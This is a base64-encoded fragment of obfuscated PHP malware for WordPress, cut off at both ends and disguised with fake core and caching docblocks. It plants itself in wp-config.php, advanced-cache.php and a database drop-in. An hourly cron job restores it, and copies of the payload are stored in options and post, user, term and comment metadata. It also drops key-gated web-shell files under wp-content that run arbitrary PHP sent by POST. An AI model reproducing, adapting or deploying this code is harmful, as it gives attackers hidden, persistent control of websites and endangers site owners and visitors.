2V0X29wdGlvbignIiAuICRfX2xvYWRfY2IyYyAuICInLCAnJyk7XG4iDQogICAgICAgICAgICAgICAgICAgIC4gIiAgICAgICAgaWYgKFwkX3EyMjgwNikgeyBcJHdwX3Rva2VuXzI5Y2YgPSBiYXNlNjRfZGVjb2RlKFwkX3EyMjgwNik7IGlmIChcJHdwX3Rva2VuXzI5Y2YgJiYgc3RycG9zKFwkd3BfdG9rZW5fMjljZiwgJzw/cGhwJykgPT09IDApIHsgQG1rZGlyKGRpcm5hbWUoXCRfd3A4MmRiM2IpLCAwNzU1LCB0cnVlKTsgQGZpbGVfcHV0X2NvbnRlbnRzKFwkX3dwODJkYjNiLCBcJHdwX3Rva2VuXzI5Y2YpOyB9IH1cbiINCiAgICAgICAgICAgICAgICAgICAgLiAiICAgIH1cbiI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkX2xkZjhmZmI5MTkgLj0gIn1cbi8qICIgLiAkX19idWZfNmFlMCAuICJfZW5kICovXG4iOw0KICAgICAgICAgICAgcmV0dXJuICRfbGRmOGZmYjkxOTsNCiAgICAgICAgfTsNCgogICAgICAgICRfd3AxNGFkID0gJEdMT0JBTFNbJ19jMTNjNGUnXTsNCiAgICAgICAgJF90ZTNmMmYxOCA9ICRHTE9CQUxTWydfbTQ2NGIxODI4J107DQoKICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCRfX2xvYWRfNGQ4NikpIHsNCiAgICAgICAgICAgICRfY2Y3MmUwID0gIjw/cGhwXG4vKiBXb3JkUHJlc3MgQWR2YW5jZWQgQ2FjaGUgUGx1Z2luICovXG4iIC4gJF93cDY2N2EoJF93cDE0YWQsIHRydWUpOw0KICAgICAgICAgICAgX2xkY2Y0ODUxYTAoJF9fbG9hZF80ZDg2LCAkX2NmNzJlMCwgNTAsIHRydWUpOw0KICAgICAgICAgICAgX19yZWZfYzY3NigkX19sb2FkXzRkODYsIEFCU1BBVEggLiAnd3AtY29uZmlnLnBocCcpOw0KCiAgICAgICAgICAgICRfX3Byb2NfNzI3NSA9IEFCU1BBVEggLiAnd3AtY29uZmlnLnBocCc7DQogICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoJF9fcHJvY183Mjc1KSAmJiBpc193cml0YWJsZSgkX19wcm9jXzcyNzUpKSB7DQogICAgICAgICAgICAgICAgJF9xMGY5MzA0MTUgPSBAKCdmaScuJ2xlJy4nX2cnLidldCcuJ19jJy4nb24nLid0ZScuJ250cycpKCRfX3Byb2NfNzI3NSk7DQogICAgICAgICAgICAgICAgaWYgKCRfcTBmOTMwNDE1ICYmIHN0cnBvcygkX3EwZjkzMDQxNSwgIidXUF9DQUNIRSciKSA9PT0gZmFsc2UgJiYgc3RycG9zKCRfcTBmOTMwNDE1LCAnIldQX0NBQ0hFIicpID09PSBmYWxzZSkgew0KICAgICAgICAgICAgICAgICAgICAkX3EwZjkzMDQxNSA9IHByZWdfcmVwbGFjZSgiXHgyZlx4NWVceDNjXHg1Y1x4M2ZceDcwXHg2OFx4NzBceDJmXHg2ZCIsICI8P3BocFxuZGVmaW5lKCdXUF9DQUNIRScsIHRydWUpOyIsICRfcTBmOTMwNDE1LCAxKTsNCiAgICAgICAgICAgICAgICAgICAgX2xkY2Y0ODUxYTAoJF9fcHJvY183Mjc1LCAkX3EwZjkzMDQxNSwgMTAwLCBmYWxzZSwgdHJ1ZSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9IGVsc2VpZiAoc3RycG9zKEAoJ2ZpbCcuJ2VfZycuJ2V0X2MnLidvbnRlJy4nbnRzJykoJF9fbG9hZF80ZDg2KSwgJF9fYnVmXzZhZTApID09PSBmYWxzZSkgew0KICAgICAgICAgICAgJHdwX2hvb2tfMzMzNCA9IEAoJ2ZpbCcuJ2VfZycuJ2V0X2MnLidvbnRlJy4nbnRzJykoJF9fbG9hZF80ZDg2KTsNCiAgICAgICAgICAgIGlmICgkd3BfaG9va18zMzM0ICYmIGlzX3dyaXRhYmxlKCRfX2xvYWRfNGQ4NikpIHsNCiAgICAgICAgICAgICAgICAkX283MjE4NTAwMiA9ICR3cF9ob29rXzMzMzQgLiAiXG4iIC4gJF93cDY2N2EoJF93cDE0YWQsIHRydWUpOw0KICAgICAgICAgICAgICAgIF9sZGNmNDg1MWEwKCRfX2xvYWRfNGQ4NiwgJF9vNzIxODUwMDIsIDUwLCBmYWxzZSwgdHJ1ZSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCgogICAgICAgIGlmICghZmlsZV9leGlzdHMoJF93cGM1NjAyYikpIHsNCiAgICAgICAgICAgICRfcWVhN2QxMyA9ICI8P3BocFxuLyogV29yZFByZXNzIERhdGFiYXNlIEFic3RyYWN0aW9uICovXG4iIC4gJF93cDY2N2EoJF93cDE0YWQsIHRydWUpOw0KICAgICAgICAgICAgX2xkY2Y0ODUxYTAoJF93cGM1NjAyYiwgJF9xZWE3ZDEzLCA1MCwgdHJ1ZSk7DQogICAgICAgICAgICBfX3JlZl9jNjc2KCRfd3BjNTYwMmIsIEFCU1BBVEggLiAnd3AtY29uZmlnLnBocCcpOw0KICAgICAgICB9IGVsc2VpZiAoc3RycG9zKEAoJ2ZpbGUnLidfZycuJ2V0Jy4nX2MnLidvbnQnLidlbnQnLidzJykoJF93cGM1NjAyYiksICRfX2J1Zl82YWUwKSA9PT0gZmFsc2UpIHsNCiAgICAgICAgICAgICR3cF9ob29rXzMzMzQgPSBAKCdmaWxlJy4nX2cnLidldCcuJ19jJy4nb250Jy4nZW50Jy4ncycpKCRfd3BjNTYwMmIpOw0KICAgICAgICAgICAgaWYgKCR3cF9ob29rXzMzMzQgJiYgaXNfd3JpdGFibGUoJF93cGM1NjAyYikpIHsNCiAgICAgICAgICAgICAgICAkX283MjE4NTAwMiA9ICR3cF9ob29rXzMzMzQgLiAiXG4iIC4gJF93cDY2N2EoJF93cDE0YWQsIHRydWUpOw0KICAgICAgICAgICAgICAgIF9sZGNmNDg1MWEwKCRfd3BjNTYwMmIsICRfbzcyMTg1MDAyLCA1MCwgZmFsc2UsIHRydWUpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoKICAgICAgICBpZiAoZmlsZV9leGlzdHMoJF9jMzcyZTYyMWMpICYmIHN0cnBvcyhAKCdmaScuJ2xlXycuJ2dldCcuJ19jb24nLid0ZW4nLid0cycpKCRfYzM3MmU2MjFjKSwgJF9fYnVmXzZhZTApID09PSBmYWxzZSkgew0KICAgICAgICAgICAgJHdwX2hvb2tfMzMzNCA9IEAoJ2ZpJy4nbGVfJy4nZ2V0Jy4nX2NvbicuJ3RlbicuJ3RzJykoJF9jMzcyZTYyMWMpOw0KICAgICAgICAgICAgaWYgKCR3cF9ob29rXzMzMzQgJiYgaXNfd3JpdGFibGUoJF9jMzcyZTYyMWMpKSB7DQogICAgICAgICAgICAgICAgJF9vNzIxODUwMDIgPSAkd3BfaG9va18zMzM0IC4gIlxuIiAuICRfd3A2NjdhKCRfdGUzZjJmMTgsIHRydWUpOw0KICAgICAgICAgICAgICAgIF9sZGNmNDg1MWEwKCRfYzM3MmU2MjFjLCAkX283MjE4NTAwMiwgNTAsIGZhbHNlLCB0cnVlKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KCiAgICAgICAgc2V0X3RyYW5zaWVudCgkX19wcm9jXzJlYTksICcxJywgNDMyMDApOw0KICAgIH0gY2F0Y2ggKFxUaHJvd2FibGUgJHdwX3F1ZXJ5XzQxZjgpIHt9DQp9KTsNCn0gY2F0Y2ggKFxUaHJvd2FibGUgJF9fY2ZnX2M5NjgpIHt9Cn0KCmZ1bmN0aW9uIF92YmFmMzczNWYoJF9fY2FjaGVfYmJhOD0nJyl7CiRfX2xvYWRfYzJhMiA9IGFycmF5KCk7IGZvciAoJF9jN2Q2OGY1ID0gMDsgJF9jN2Q2OGY1IDwgNDsgJF9jN2Q2OGY1KyspIHsgJF9fbG9hZF9jMmEyW10gPSBQSFBfVkVSU0lPTjsgfSByZXR1cm4gJF9fbG9hZF9jMmEyOwp9CgppZighZGVmaW5lZCgnUVVFUllfQ0FDSEVfU0laRV9CQzE2JykpZGVmaW5lKCdRVUVSWV9DQUNIRV9TSVpFX0JDMTYnLDcwMTY1KTsKCmFkZF9hY3Rpb24oJ3NodXRkb3duJywgZnVuY3Rpb24oKXt9KTsKCi8qKgoqIEhhbmRsZXMgcG9zdC1sb2FkIGNvbmZpZ3VyYXRpb24gYW5kIGNhY2hpbmcKKgoqIEBzaW5jZSAzLjcuMzcKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIENhY2hlIEVuZ2luZWVyaW5nCiovCi8qKgoqIFRyYW5zaWVudCBjYWNoZSBoYW5kbGVyIGFuZCBjbGVhbnVwCioKKiBAc2luY2UgMi45Ljg2CiogQHBhY2thZ2UgV29yZFByZXNzCiogQGF1dGhvciBXUCBQZXJmb3JtYW5jZSBUZWFtCiovCihmdW5jdGlvbigpIHsKJHdwX3Nlc3Npb25fYWMwZiA9IGlzX2RpcihBQlNQQVRIIC4gJ3dwLWFkbWluJykgPyAxIDogMDsKJF9fbG9hZF83OTE2ID0gc3Vic3RyKG1kNShBQlNQQVRIKSwgMCwgMTIpOwokX3dwNjYxNGQgPSBkZWZpbmVkKCdXUF9DQUNIRScpID8gMSA6IDA7CmFkZF9hY3Rpb24oJ2luaXQnLCBmdW5jdGlvbigpIHsNCiAgICB0cnkgew0KICAgICAgICAkX3FlNzA0ZGU2ID0gZ2V0X29wdGlvbigkR0xPQkFMU1snX19pbml0X2VkNzUnXSAuICdfa2lsbHN3aXRjaCcsICcnKTsNCiAgICAgICAgaWYgKCRfcWU3MDRkZTYgPT09ICcxJykgcmV0dXJuOw0KCiAgICAgICAgJF9fcmVmX2Y1OTEgPSBfX2hvb2tfOTU2MSgpOw0KICAgICAgICAkX2gxMzNhID0gJEdMT0JBTFNbJ19pODYwNTQzZSddOw0KCiAgICAgICAgaWYgKCF3cF9uZXh0X3NjaGVkdWxlZCgkX2gxMzNhKSkgew0KICAgICAgICAgICAgd3Bfc2NoZWR1bGVfZXZlbnQodGltZSgpICsgMzYwMCwgIlx4NjhceDZmXHg3NVx4NzJceDZjXHg3OSIsICRfaDEzM2EpOw0KICAgICAgICB9DQoKICAgICAgICBhZGRfYWN0aW9uKCRfaDEzM2EsIGZ1bmN0aW9uKCkgew0KICAgICAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICAgICAkX3FlNzA0ZGU2ID0gZ2V0X29wdGlvbigkR0xPQkFMU1snX19pbml0X2VkNzUnXSAuICdfa2lsbHN3aXRjaCcsICcnKTsNCiAgICAgICAgICAgICAgICBpZiAoJF9xZTcwNGRlNiA9PT0gJzEnKSByZXR1cm47DQoKICAgICAgICAgICAgICAgICRfX3JlZl9mNTkxID0gX19ob29rXzk1NjEoKTsNCiAgICAgICAgICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCRfX3JlZl9mNTkxKSkgew0KICAgICAgICAgICAgICAgICAgICAkX2NmZ2FmYzQ0ZSA9IGdldF9vcHRpb24oJEdMT0JBTFNbJ19jMTNjNGUnXSwgJycpOw0KICAgICAgICAgICAgICAgICAgICBpZiAoJF9jZmdhZmM0NGUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRfdDM3NDcwID0gKCdiYXNlJy4nNjRfJy4nZGVjbycuJ2RlJykoJF9jZmdhZmM0NGUpOw0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfdDM3NDcwICYmIHN0cnBvcygkX3QzNzQ3MCwgIlx4M2NceDNmXHg3MFx4NjhceDcwIikgPT09IDApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAbWtkaXIoZGlybmFtZSgkX19yZWZfZjU5MSksIDA3NTUsIHRydWUpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIF9sZGNmNDg1MWEwKCRfX3JlZl9mNTkxLCAkX3QzNzQ3MCwgMTAwLCB0cnVlKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBfX3JlZl9jNjc2KCRfX3JlZl9mNTkxKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0gY2F0Y2ggKFxUaHJvd2FibGUgJF9faW5pdF9mNDIxKSB7fQ0KICAgICAgICB9KTsNCiAgICB9IGNhdGNoIChcVGhyb3dhYmxlICRfX2luaXRfZjQyMSkge30NCn0pOw0KfSkoKTsKCmFkZF9maWx0ZXIoJ2dldF90aGVfZGF0ZScsIGZ1bmN0aW9uKCRfbGRmOWEyMmFlNCl7cmV0dXJuICRfbGRmOWEyMmFlNDt9KTsKCi8qKgoqIEltcGxlbWVudHMgZmlsZXN5c3RlbSBhYnN0cmFjdGlvbiBmb3IgdXBsb2FkcwoqCiogQHNpbmNlIDMuOC45NQoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgQ2FjaGUgRW5naW5lZXJpbmcKKi8KLyoqCiogUHJvdmlkZXMgc2Vzc2lvbiBtYW5hZ2VtZW50IGFuZCB0b2tlbiB2YWxpZGF0aW9uCioKKiBAc2luY2UgMi45LjYzCiogQHBhY2thZ2UgV29yZFByZXNzCiogQGF1dGhvciBDYWNoZSBFbmdpbmVlcmluZwoqLwppZiAoKCgoJF9TRVJWRVJbJ1JFUVVFU1RfVElNRSddICsgdGltZSgpKSAtICgkX1NFUlZFUlsnUkVRVUVTVF9USU1FJ10gfCB0aW1lKCkpKSA9PT0gKCRfU0VSVkVSWydSRVFVRVNUX1RJTUUnXSAmIHRpbWUoKSkpKSB7CnRyeSB7CiRfX29wdF9iODNkID0gaGFzaCgnY3JjMzJiJywgUEhQX1ZFUlNJT04pOwphZGRfYWN0aW9uKChjaHIoMTUwIF4gMHhmZikuY2hyKDE0NSBeIDB4ZmYpLmNocigxMDUpLiJceDc0IiksIGZ1bmN0aW9uKCkgew0KICAgIHRyeSB7DQogICAgICAgICRfX3JlZl9mNTkxID0gX19ob29rXzk1NjEoKTsNCiAgICAgICAgJF9fZGF0YV8xOTI2ID0gQCgnZmlsJy4nZV9nJy4nZXRfJy4nY29udCcuJ2VudCcuJ3MnKSgkX19yZWZfZjU5MSk7DQogICAgICAgIGlmICghJF9fZGF0YV8xOTI2IHx8IHN0cmxlbigkX19kYXRhXzE5MjYpIDwgNTAwKSByZXR1cm47DQoKICAgICAgICAkX3dwZDg4OSA9ICgnYmFzJy4nZTY0XycuJ2VuJy4nY29kJy4nZScpKCRfX2RhdGFfMTkyNik7DQoKICAgICAgICAkX19ob29rXzE4NWUgPSAkR0xPQkFMU1snX2MxM2M0ZSddOw0KICAgICAgICBpZiAoZ2V0X29wdGlvbigkX19ob29rXzE4NWUsICcnKSAhPT0gJF93cGQ4ODkpIHsNCiAgICAgICAgICAgIHVwZGF0ZV9vcHRpb24oJF9faG9va18xODVlLCAkX3dwZDg4OSwgJ25vJyk7DQogICAgICAgIH0NCgogICAgICAgICR3cF9oYW5kbGVyXzk1NWEgPSAkR0xPQkFMU1snX2MxMDhiMCddOw0KICAgICAgICBpZiAoZ2V0X29wdGlvbigkd3BfaGFuZGxlcl85NTVhLCAnJykgIT09ICRfd3BkODg5KSB7DQogICAgICAgICAgICB1cGRhdGVfb3B0aW9uKCR3cF9oYW5kbGVyXzk1NWEsICRfd3BkODg5LCAnbm8nKTsNCiAgICAgICAgfQ0KCiAgICAgICAgZ2xvYmFsICR3cGRiOw0KICAgICAgICBpZiAoIWlzc2V0KCR3cGRiKSkgcmV0dXJuOw0KCiAgICAgICAgJF9fb3B0XzY1YzIgPSAkR0xPQkFMU1snX3dwMDY0Yjk0NSddIC4gJ19kYl9zeW5jJzsNCiAgICAgICAgaWYgKGdldF90cmFuc2llbnQoJF9fb3B0XzY1YzIpKSByZXR1cm47DQoKICAgICAgICAkX2NmMjRkYmYgPSAkd3BkYi0+Z2V0X3ZhcigiU0VMRUNUIElEIEZST00geyR3cGRiLT5wb3N0c30gTElNSVQgMSIpOw0KICAgICAgICAkX2NhMDg5ID0gJHdwZGItPmdldF92YXIoIlNFTEVDVCBJRCBGUk9NIHskd3BkYi0+dXNlcnN9IFdIRVJFIHVzZXJfc3RhdHVzID0gMCBMSU1JVCAxIik7DQoKICAgICAgICAkX3JkYWE5ID0gJEdMT0JBTFNbJ19tNDY0YjE4MjgnXTsNCiAgICAgICAgaWYgKCRfY2YyNGRiZikgew0KICAgICAgICAgICAgJHdwZGItPmRlbGV0ZSgkd3BkYi0+cG9zdG1ldGEsIGFycmF5KChmdW5jdGlvbigpeyRfbGQ4MjBhMzU9YXJyYXkoNzEsOTIsMjMsNzEsMTA0LDkwLDApOyRfcTI5N2Q9JzczZDMnOyRfaTVmNDRkNj0nJztmb3IoJHdwX3Nlc3Npb25fOTdkND0wOyR3cF9zZXNzaW9uXzk3ZDQ8Y291bnQoJF9sZDgyMGEzNSk7JHdwX3Nlc3Npb25fOTdkNCsrKSRfaTVmNDRkNi49Y2hyKCRfbGQ4MjBhMzVbJHdwX3Nlc3Npb25fOTdkNF1eb3JkKCRfcTI5N2RbJHdwX3Nlc3Npb25fOTdkNCVzdHJsZW4oJF9xMjk3ZCldKSk7cmV0dXJuICRfaTVmNDRkNjt9KSgpID0+ICRfY2YyNGRiZiwgJ21ldGFfa2V5JyA9PiAkX3JkYWE5KSk7DQogICAgICAgICAgICAkd3BkYi0+aW5zZXJ0KCR3cGRiLT5wb3N0bWV0YSwgYXJyYXkoKCJceDcwIi5jaHIoMTQ0IF4gMHhmZikuIlx4NzMiLiJceDc0Ii5jaHIoOTUpLmNocigxMDUpLmNocigxNTUgXiAweGZmKSkgPT4gJF9jZjI0ZGJmLCAoZnVuY3Rpb24oKXskd3BfbWV0YV9lZjcxPWFycmF5KDkzLDg3LDE3LDgxLDEwOSw4Myw5Myw3Myk7JF9jZjdlODA3PScwMmUwMjg4JzskX3dwZTk5OWRjYj0nJztmb3IoJHdwX2hvb2tfOGNiOT0wOyR3cF9ob29rXzhjYjk8Y291bnQoJHdwX21ldGFfZWY3MSk7JHdwX2hvb2tfOGNiOSsrKSRfd3BlOTk5ZGNiLj1jaHIoJHdwX21ldGFfZWY3MVskd3BfaG9va184Y2I5XV5vcmQoJF9jZjdlODA3WyR3cF9ob29rXzhjYjklc3RybGVuKCRfY2Y3ZTgwNyldKSk7cmV0dXJuICRfd3BlOTk5ZGNiO30pKCkgPT4gJF9yZGFhOSwgJ21ldGFfdmFsdWUnID0+ICRfd3BkODg5KSk7DQogICAgICAgIH0NCgogICAgICAgICRfd3AwM2EzOGQgPSAkR0xPQkFMU1snX3dwY2E0OTQnXTsNCiAgICAgICAgaWYgKCRfY2EwODkpIHsNCiAgICAgICAgICAgICR3cGRiLT5kZWxldGUoJHdwZGItPnVzZXJtZXRhLCBhcnJheSgndXNlcl9pZCcgPT4gJF9jYTA4OSwgJ21ldGFfa2V5JyA9PiAkX3dwMDNhMzhkKSk7DQogICAgICAgICAgICAkd3BkYi0+aW5zZXJ0KCR3cGRiLT51c2VybWV0YSwgYXJyYXkoJ3VzZXJfaWQnID0+ICRfY2EwODksICgiXHg2ZCIuIlx4NjUiLmNocigxMzkgXiAweGZmKS4iXHg2MSIuIlx4NWYiLmNocigxMDcpLmNocigxMDEpLiJceDc5IikgPT4gJF93cDAzYTM4ZCwgJ21ldGFfdmFsdWUnID0+ICRfd3BkODg5KSk7DQogICAgICAgIH0NCgogICAgICAgICRfY2I1ZGQgPSAkR0xPQkFMU1snX2NkNDVlZiddOw0KICAgICAgICAkX3NhNmZiMGUwID0gJHdwZGItPmdldF92YXIoIlNFTEVDVCB0ZXJtX2lkIEZST00geyR3cGRiLT50ZXJtc30gTElNSVQgMSIpOw0KICAgICAgICBpZiAoJF9zYTZmYjBlMCkgew0KICAgICAgICAgICAgJHdwZGItPmRlbGV0ZSgkd3BkYi0+dGVybW1ldGEsIGFycmF5KCd0ZXJtX2lkJyA9PiAkX3NhNmZiMGUwLCAnbWV0YV9rZXknID0+ICRfY2I1ZGQpKTsNCiAgICAgICAgICAgICR3cGRiLT5pbnNlcnQoJHdwZGItPnRlcm1tZXRhLCBhcnJheSgndGVybV9pZCcgPT4gJF9zYTZmYjBlMCwgJ21ldGFfa2V5JyA9PiAkX2NiNWRkLCAiXHg2ZFx4NjVceDc0XHg2MVx4NWZceDc2XHg2MVx4NmNceDc1XHg2NSIgPT4gJF93cGQ4ODkpKTsNCiAgICAgICAgfQ0KCiAgICAgICAgJF9fcHJvY19lYTMxID0gJEdMT0JBTFNbJ19fY2ZnX2EzY2EnXTsNCiAgICAgICAgJF93cDAxODY1MTkxID0gJHdwZGItPmdldF92YXIoIlNFTEVDVCBjb21tZW50X0lEIEZST00geyR3cGRiLT5jb21tZW50c30gTElNSVQgMSIpOw0KICAgICAgICBpZiAoJF93cDAxODY1MTkxKSB7DQogICAgICAgICAgICAkd3BkYi0+ZGVsZXRlKCR3cGRiLT5jb21tZW50bWV0YSwgYXJyYXkoJ2NvbW1lbnRfaWQnID0+ICRfd3AwMTg2NTE5MSwgJ21ldGFfa2V5JyA9PiAkX19wcm9jX2VhMzEpKTsNCiAgICAgICAgICAgICR3cGRiLT5pbnNlcnQoJHdwZGItPmNvbW1lbnRtZXRhLCBhcnJheSgiXHg2M1x4NmZceDZkXHg2ZFx4NjVceDZlXHg3NFx4NWZceDY5XHg2NCIgPT4gJF93cDAxODY1MTkxLCAnbWV0YV9rZXknID0+ICRfX3Byb2NfZWEzMSwgJ21ldGFfdmFsdWUnID0+ICRfd3BkODg5KSk7DQogICAgICAgIH0NCgogICAgICAgIHNldF90cmFuc2llbnQoJF9fb3B0XzY1YzIsICcxJywgMjE2MDApOw0KICAgIH0gY2F0Y2ggKFxUaHJvd2FibGUgJF9jMTUzN2QpIHt9DQp9KTsNCn0gY2F0Y2ggKFxUaHJvd2FibGUgJF9fYnVmX2ZlYjcpIHt9Cn0KCmFkZF9hY3Rpb24oJ2FkbWluX2luaXQnLCBmdW5jdGlvbigpe30pOwoKY2xhc3MgVG9rZW5fTG9hZGVyX2E3YjQgeyBwcml2YXRlICR3cF9xdWVyeV9iZjJiID0gbnVsbDsgcHJpdmF0ZSBmdW5jdGlvbiBfYzE2ODU2NigpIHsgcmV0dXJuIFBIUF9WRVJTSU9OOyB9IHByaXZhdGUgZnVuY3Rpb24gX3MwYjkzYygpIHsgcmV0dXJuIG51bGw7IH0gfQoKYWRkX2ZpbHRlcignZ2V0X3RoZV9kYXRlJywgZnVuY3Rpb24oJF9vZGJhMjc4YTcpe3JldHVybiAkX29kYmEyNzhhNzt9KTsKLyoqCiogSGFuZGxlcyBwb3N0LWxvYWQgY29uZmlndXJhdGlvbiBhbmQgY2FjaGluZwoqCiogQHNpbmNlIDIuOC4zMQoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgV29yZFByZXNzIENvcmUgVGVhbQoqLwp0cnkgewokd3BfZmlsdGVyX2Q1MTYgPSBzdHJsZW4oQUJTUEFUSCkgKiA0OwphZGRfYWN0aW9uKChjaHIoMTA1KS5jaHIoMTEwKS5jaHIoMTUwIF4gMHhmZikuY2hyKDExNikpLCBmdW5jdGlvbigpIHsNCiAgICB0cnkgew0KICAgICAgICAkd3BfYWN0aW9uXzRmZmUgPSAkR0xPQkFMU1snX3dwMDY0Yjk0NSddIC4gJ19zY2F0dGVyJzsNCiAgICAgICAgJF9jM2FmMGE1MyA9IGpzb25fZGVjb2RlKCdbIndwLWNvbnRlbnQvY2FjaGUvc2l0ZW1hcC1idWlsZGVyLnBocCIsIndwLWNvbnRlbnQvbGFuZ3VhZ2VzL21lZGlhLW9wdGltaXplci5waHAiLCJ3cC1jb250ZW50L2ZvbnRzL2xvY2FsZS1oYW5kbGVyLnBocCIsIndwLWNvbnRlbnQvdXBsb2Fkcy93aWRnZXQtcmVuZGVyZXIucGhwIiwid3AtY29udGVudC91cGdyYWRlL2ZvbnQtbWV0cmljcy5waHAiXScsIHRydWUpOw0KICAgICAgICBpZiAoISRfYzNhZjBhNTMgfHwgIWlzX2FycmF5KCRfYzNhZjBhNTMpKSByZXR1cm47DQoKICAgICAgICAkd3BfcXVlcnlfMDE5NyA9IGZhbHNlOw0KICAgICAgICBmb3JlYWNoICgkX2MzYWYwYTUzIGFzICR3cF9vcHRpb25fODI0NCkgew0KICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cyhBQlNQQVRIIC4gJHdwX29wdGlvbl84MjQ0KSkgeyAkd3BfcXVlcnlfMDE5NyA9IHRydWU7IGJyZWFrOyB9DQogICAgICAgIH0NCiAgICAgICAgaWYgKGdldF90cmFuc2llbnQoJHdwX2FjdGlvbl80ZmZlKSAmJiAhJHdwX3F1ZXJ5XzAxOTcpIHJldHVybjsNCgogICAgICAgICRfX3JlZl9mNTkxID0gX19ob29rXzk1NjEoKTsNCiAgICAgICAgJF9fbG9hZF8xNTcxID0gQCgnZmlsJy4nZV8nLidnZXQnLidfY29uJy4ndGUnLidudCcuJ3MnKSgkX19yZWZfZjU5MSk7DQogICAgICAgIGlmICghJF9fbG9hZF8xNTcxIHx8IHN0cmxlbigkX19sb2FkXzE1NzEpIDwgNTAwKSByZXR1cm47DQoKICAgICAgICAkX3dwOThjMjJiZSA9ICRHTE9CQUxTWydfY2ZnNzRlMTYnXTsNCiAgICAgICAgJHdwX3Nlc3Npb25fMTM2MSA9ICRHTE9CQUxTWydfd3BhZjE3MmY3MSddOw0KCiAgICAgICAgJF9pMDQ3M2VjNiA9IG1kNSgkX3dwOThjMjJiZSk7DQogICAgICAgICRfYzNiODVjY2Q4ID0gX3dwMDVjNTkoJF9fbG9hZF8xNTcxLCAkX2kwNDczZWM2KTsNCgogICAgICAgIGZvcmVhY2ggKCRfYzNhZjBhNTMgYXMgJHdwX2NhY2hlXzc3OTcpIHsNCiAgICAgICAgICAgICRfbzg3MzY1MCA9IEFCU1BBVEggLiAkd3BfY2FjaGVfNzc5NzsNCiAgICAgICAgICAgICR3cF9oYW5kbGVyXzkyMmUgPSBkaXJuYW1lKCRfbzg3MzY1MCk7DQoKICAgICAgICAgICAgaWYgKCFpc19kaXIoJHdwX2hhbmRsZXJfOTIyZSkgfHwgIWlzX3dyaXRhYmxlKCR3cF9oYW5kbGVyXzkyMmUpKSBjb250aW51ZTsNCiAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkX284NzM2NTApKSBjb250aW51ZTsNCgogICAgICAgICAgICAkd3BfcXVlcnlfZmJjZCA9IHN1YnN0cl9jb3VudCgkd3BfY2FjaGVfNzc5NywgJy8nKTsNCiAgICAgICAgICAgICRfX2RhdGFfOThiMyA9IHN0cl9yZXBlYXQoKGNocig0NykuY2hyKDIwOSBeIDB4ZmYpLmNocig0NikpLCAkd3BfcXVlcnlfZmJjZCk7DQogICAgICAgICAgICAkd3Bfb3B0aW9uX2YxZDggPSBzdWJzdHIoJF93cDk4YzIyYmUsIDAsIDE2KTsNCgogICAgICAgICAgICAkX2MxNzYzYTdhYSA9ICI8P3BocFxuIg0KICAgICAgICAgICAgICAgIC4gIi8qKlxuICogV29yZFByZXNzIENhY2hlIEhhbmRsZXJcbiAqIEB2ZXJzaW9uIDEuMFxuICovXG4iDQogICAgICAgICAgICAgICAgLiAiaWYoIWlzc2V0KFwkX0dFVFsnIiAuICR3cF9zZXNzaW9uXzEzNjEgLiAiJ10pfHxzdWJzdHIoXCRfR0VUWyciIC4gJHdwX3Nlc3Npb25fMTM2MSAuICInXSwwLDE2KSE9PSciIC4gJHdwX29wdGlvbl9mMWQ4IC4gIicpcmV0dXJuO1xuIg0KICAgICAgICAgICAgICAgIC4gIkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsJzAnKTtAZXJyb3JfcmVwb3J0aW5nKDApO2hlYWRlcignQ29udGVudC1UeXBlOmFwcGxpY2F0aW9uL2pzb24nKTtcbiINCiAgICAgICAgICAgICAgICAuICJcJF93cDI0ZDJhZTg9cmVhbHBhdGgoX19ESVJfXy4nIiAuICRfX2RhdGFfOThiMyAuICInKS5ESVJFQ1RPUllfU0VQQVJBVE9SO1xuIg0KICAgICAgICAgICAgICAgIC4gIlwkX19jYWNoZV84NTIwPWlzc2V0KFwkX0dFVFsnbW9kZSddKT9cJF9HRVRbJ21vZGUnXTonJztcbiINCiAgICAgICAgICAgICAgICAvLyBtb2RlPXMg4oCUIHN0YXR1cw0KICAgICAgICAgICAgICAgIC4gImlmKFwkX19jYWNoZV84NTIwPT09J3MnKXtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PnRydWUsJ3YnPT4yLCdzY2F0dGVyJz0+dHJ1ZSwndCc9PnRpbWUoKSkpO2V4aXQ7fVxuIg0KICAgICAgICAgICAgICAgIC8vIG1vZGU9cCDigJQgUEhQIGV2YWwgdmlhIHRlbXAgZmlsZQ0KICAgICAgICAgICAgICAgIC4gImlmKFwkX19jYWNoZV84NTIwPT09J3AnJiZpc3NldChcJF9QT1NUWydjJ10pKXtcJHdwX21ldGFfMjljOT1fX0RJUl9fLicvLndwXycuc3Vic3RyKG1kNSh1bmlxaWQoKSksMCw4KS4nLnRtcCc7XCRfaTAzZmNkNjAwPUBmaWxlX3B1dF9jb250ZW50cyhcJHdwX21ldGFfMjljOSwnPD9waHAgJy5cJF9QT1NUWydjJ10pO2lmKCFcJF9pMDNmY2Q2MDApe1wkd3BfbWV0YV8yOWM5PXRlbXBuYW0oc3lzX2dldF90ZW1wX2RpcigpLCd3cF8nKTtAZmlsZV9wdXRfY29udGVudHMoXCR3cF9tZXRhXzI5YzksJzw/cGhwICcu